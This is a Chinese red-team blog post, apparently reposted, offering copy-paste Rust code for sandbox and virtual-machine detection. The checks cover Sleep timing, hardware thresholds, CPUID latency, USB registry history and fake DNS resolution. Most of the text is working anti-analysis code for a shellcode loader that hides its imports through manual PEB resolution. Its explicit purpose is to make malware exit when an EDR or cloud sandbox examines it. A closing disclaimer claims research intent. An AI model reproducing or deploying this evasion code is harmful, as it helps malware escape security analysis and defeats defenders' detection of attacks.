文章总结: 本文介绍了对抗EDR的多种沙箱环境检测方法,包括Sleep时间检测、系统信息对比、CPUID耗时分析、USB历史记录查询及虚假域名探测。文章通过Rust代码示例演示了实现细节,旨在帮助识别分析环境并动态退出,以规避沙箱检测。 综合评分: 90 文章分类: 红队,恶意软件,免杀,安全开发
常见的检测沙箱环境的方法
原创
小和安全
小和安全
2025年12月23日 10:37 江苏
本文所分享的技术,已同步更新到rust模块,公众号后台回复loader获取下载地址,目前支持以下功能:
功能特性
- 提供了多种加载shellcode的方式;
- 提供了多种对抗机制,包括沙箱检测、多种混淆机制、手动解析PEB机制;
- crate中所有函数都是通过手动解析PEB导入的,增强了隐蔽性;
前言
在对抗EDR的检测机制中,当我们绕过了静态检测,EDR还会提供动态检测,或者上传到云沙箱进行检测。
本文主要介绍几种识别当前运行环境是否为沙箱的方法,当检测为沙箱时,可以直接退出程序,让分析者拿不到更多信息。
检测沙箱环境方法
(1)检测sleep函数执行的时间
一些沙箱为了加快检测速度,会hook掉sleep函数,快速跳过它,我们可以通过检测sleep函数的实际执行时间,来判定是否处于沙箱环境中。
比如我们先获取当前的时间戳start,再执行sleep(5000),也就是等待5秒,然后计算当前时间戳end,最后计算end-start的值,和5秒来比较,判断是否真的sleep了5秒钟。
首先我们通过QueryPerformanceFrequencyFn函数来检测目标主机是否支持高分辨率性能计数器,根据官方文档,Windows XP及以上版本是一定支持的:
然后再通过QueryPerformanceCounter函数计算调用sleep前后的时间戳,计算它们的差值,再和sleep函数的入参(我们定义的sleep时间)进行比较,判定真正的时间差是否和我们希望sleep的时间相等。完整代码及示例如下(可以直接复制粘贴使用):
use shellcode_loader::iat::get_function_address;type QueryPerformanceCounter=extern "system" fn(input: *mut i64) -> i32;type QueryPerformanceFrequency=extern "system" fn(input: *mut i64) -> i32;type Sleep=extern "system" fn(input: u32) -> ();pub fn is_sandbox_sleep() -> bool { let mut flag:bool=false; unsafe { let query_performance_counter:QueryPerformanceCounter=std::mem::transmute(get_function_address("kernel32.dll", "QueryPerformanceCounter").unwrap()); let query_performance_frequency:QueryPerformanceFrequency=std::mem::transmute(get_function_address("kernel32.dll", "QueryPerformanceFrequency").unwrap()); let sleep:Sleep=std::mem::transmute(get_function_address("kernel32.dll", "Sleep").unwrap()); let mut frequency:i64=0; let res_1=query_performance_frequency(&mut frequency); if res_1!=0 && frequency!=0 { let mut start:i64=0; let mut end:i64=0; query_performance_counter(&mut start); sleep(2000); query_performance_counter(&mut end); let diff=((((end-start) as f64)/(frequency as f64)) as i64)*1000; if 2000-diff>200{ flag=true; } } } flag}fn main(){ println!("{}", is_sandbox_sleep());}
(2)根据系统信息检测
沙箱为了节约资源,节省成本,在一些硬件配置上面可能不如真实的主机,比如:
- 真实主机的CPU可能有4个甚至更多,而沙箱或虚拟机可能只有1个或2个;
- 真实主机的内存大小通常大于8GB,而沙箱或虚拟机可能更小,只有4GB;
- 真实主机的硬盘大小通常大于80GB,而沙箱或虚拟机可能只有50GB或更小;
- 真实主机上一般会同时存在上百个进程,而沙箱或虚拟机可能只有几十个;
我们就可以根据这些信息来判断是否处于沙箱环境中,而rust有一个sysinfo库可以直接读取到这些系统信息。
需要先执行下面一行代码导入外部模块再使用。
cargo add sysinfo
完整代码如下(CPU数量小于4,内存小于8GB,硬盘小于100GB,进程数量少于60我们判为沙箱环境,可以自己改参数):
use std::ffi::OsStr;use sysinfo::{System,Disks};fn count_cpus()->u32{ //cpu数量,单位:个 let cpus=System::physical_core_count(); match cpus { Some(res)=>{return res as u32;}, None=>{return 0;} }}fn count_rams(sys:&System)->u32{ //内存大小,单位:GB ((sys.total_memory() as u64)/(1024*1024*1024)) as u32}fn count_disk()->u32{ //硬盘大小,单位:GB let disks=Disks::new_with_refreshed_list(); for disk in disks.list(){ let name=disk.name(); let file_system=disk.file_system(); let dst_file_name=OsStr::new("Windows"); let dst_file_system=OsStr::new("NTFS"); if name==dst_file_name&&file_system==dst_file_system{ return ((disk.total_space() as u64)/(1024*1024*1024)) as u32; } } 100}fn count_proc(sys:&System)->u32{ //进程数量,单位:个 sys.processes().len() as u32}pub fn is_sandbox(cpus_count:u32,rams_size:u32,proc_count:u32,disk_size:u32)->bool{ let mut sys=System::new(); sys.refresh_all(); let cpus=count_cpus(); let rams=count_rams(&sys); let proc=count_proc(&sys); let disk=count_disk(); return cpus<cpus_count || rams<rams_size || proc<proc_count || disk<disk_size}fn main(){ const MAX_CPU_COUNT:u32=4; const MAX_RAM_SIZE:u32=8; const MAX_PROCESS_COUNT:u32=100; const MAX_DISK_SIZE:u32=60; println!("isSandbox?{}!",shellcode_loader::sandbox::is_sandbox(MAX_CPU_COUNT, MAX_RAM_SIZE, MAX_PROCESS_COUNT, MAX_DISK_SIZE));}
(3)根据CPUID的执行时间检测
cpuid是一个汇编指令,返回cpu相关信息。
在物理机执行cpuid指令,会直接去查询cpu硬件,获取信息。
而在沙箱、虚拟机执行cpuid指令,则会经过以下几个步骤:
cpuid -> VM Exit -> 询问Hypervisor如VMWare ->VM Entry -> 返回结果,这个过程很显然比直接查询cpu硬件信息要慢。
完整代码如下:
use std::arch::x86_64::{_rdtsc, __cpuid};pub fn detect_vm_via_cpuid() -> bool { unsafe { let v72 = _rdtsc(); // 1. 获取开始时间戳 __cpuid(0); // 2. 执行cpuid let v81 = _rdtsc(); // 3. 获取结束时间戳 let elapsed = v81.wrapping_sub(v72); // 4. 计算耗时(结束-开始) elapsed > 0x3E8 // 5. 如果耗时 > 1000周期 → 虚拟机 }}fn main() { let result = detect_vm_via_cpuid(); println!("VM detected: {}", result);}
(4)历史信息检测
真实机器可能曾经插入过USB设备,这会在注册表中留下信息,查看以下注册表:
# USB设备历史记录HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR
如果没有找到信息,说明没有插入过USB设备,可能就是沙箱或虚拟机。
完整代码如下:
use shellcode_loader::iat::get_function_address;type RegOpenKeyExW = unsafe extern "system" fn(isize, *const u16, u32, u32, *mut isize) -> u32;type RegCloseKey = unsafe extern "system" fn(isize) -> u32;type RegQueryInfoKeyW = unsafe extern "system" fn( isize, *mut u16, *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u32, *mut u64) -> u32;const HKEY_LOCAL_MACHINE: isize = 0x80000002;const KEY_READ: u32 = 0x20019;const ERROR_SUCCESS: u32 = 0;pub fn detect_sandbox_via_usbstor() -> bool { unsafe { // 获取函数地址 let reg_open_key: RegOpenKeyExW = std::mem::transmute( get_function_address("advapi32.dll", "RegOpenKeyExW").unwrap() ); let reg_close_key: RegCloseKey = std::mem::transmute( get_function_address("advapi32.dll", "RegCloseKey").unwrap() ); let reg_query_info: RegQueryInfoKeyW = std::mem::transmute( get_function_address("advapi32.dll", "RegQueryInfoKeyW").unwrap() ); // 打开注册表键 let mut hkey: isize = 0; let key_path = "SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\0"; let key_path_wide: Vec<u16> = key_path.encode_utf16().collect(); if reg_open_key(HKEY_LOCAL_MACHINE, key_path_wide.as_ptr(), 0, KEY_READ, &mut hkey) != ERROR_SUCCESS { return true; // 无法打开 → 可能是沙箱 } // 查询子键数量 let mut subkey_count: u32 = 0; if reg_query_info(hkey, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), &mut subkey_count, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut()) != ERROR_SUCCESS { let _ = reg_close_key(hkey); return true; // 查询失败 → 可能是沙箱 } // 关闭注册表键 let _ = reg_close_key(hkey); // 检测逻辑:沙箱通常没有USB设备 subkey_count == 0 // 没有USB设备 → 可能是沙箱 → true }}fn main() { let is_sandbox = detect_sandbox_via_usbstor(); println!("沙箱检测结果: {}", is_sandbox);}
(5)虚假域名探测
一些沙箱为了尽可能检测多的特征,你的木马需要什么信息它都给你返回,没有它甚至会编造一个给你,我们可以利用这一点,查询一个根本不存在的域名,如果返回了一个ip,那说明是沙箱环境,完整代码如下:
use std::net::ToSocketAddrs;/// 解析域名获取第一个IP地址(字符串形式)/// 成功:返回 "ip:port" 格式的字符串/// 失败:返回空字符串 ""pub fn resolve_domain(domain: &str) -> String { // 添加端口号以进行解析 let addr_with_port = format!("{}:80", domain); match addr_with_port.to_socket_addrs() { Ok(mut addrs) => { if let Some(addr) = addrs.next() { // 返回 "ip:port" 格式 addr.to_string() } else { "".to_string() } } Err(_) => "".to_string() }}/// 只返回IP地址(不带端口)pub fn resolve_domain_ip_only(domain: &str) -> String { let addr_with_port = format!("{}:80", domain); match addr_with_port.to_socket_addrs() { Ok(mut addrs) => { if let Some(addr) = addrs.next() { addr.ip().to_string() } else { "".to_string() } } Err(_) => "".to_string() }}/// 检测沙箱的DNS欺骗pub fn is_sandbox_dns() -> bool { //编一个根本不存在的域名 let fake_domain = "this-domain-definitely-does-not-exist-12345.test"; !resolve_domain(fake_domain).is_empty()}fn main() { println!("isSandbox:{}",is_sandbox_dns());}
其它方法
当然还有很多其它方法检测沙箱环境
- 通过Recent检测最近使用的文档,沙箱通常是空的;
- 检测屏幕分辨率,沙箱的分辨率可能比较低或者是固定值;
- 检测系统已经运行的时间,沙箱可能刚开机,这个值很小,或者值特别大;
- 检测剪切板是否有内容,沙箱可能剪切板是空的;
- 检测回收站是否有文件,沙箱一般都是空的;
- 用netsh wlan show profiles检测WiFi连接记录,沙箱可能都识别为有线连接导致这一项信息是空的;
等等,这些方法也可以检测沙箱环境,但是偶然性相对较高,本文分享的5种方法能适配的环境更广泛。
本文所分享的技术,已同步更新到rust模块,公众号后台回复loader获取下载地址。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小和安全 小和安全《常见的检测沙箱环境的方法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论